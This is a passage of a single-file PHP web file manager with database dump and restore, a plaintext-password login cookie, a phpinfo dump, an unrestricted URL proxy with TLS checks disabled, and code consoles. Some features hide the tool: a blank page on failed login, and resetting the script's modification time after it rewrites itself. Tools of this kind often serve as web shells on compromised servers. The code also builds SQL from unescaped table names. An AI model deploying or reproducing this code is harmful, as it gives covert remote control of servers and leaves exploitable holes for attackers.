	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQ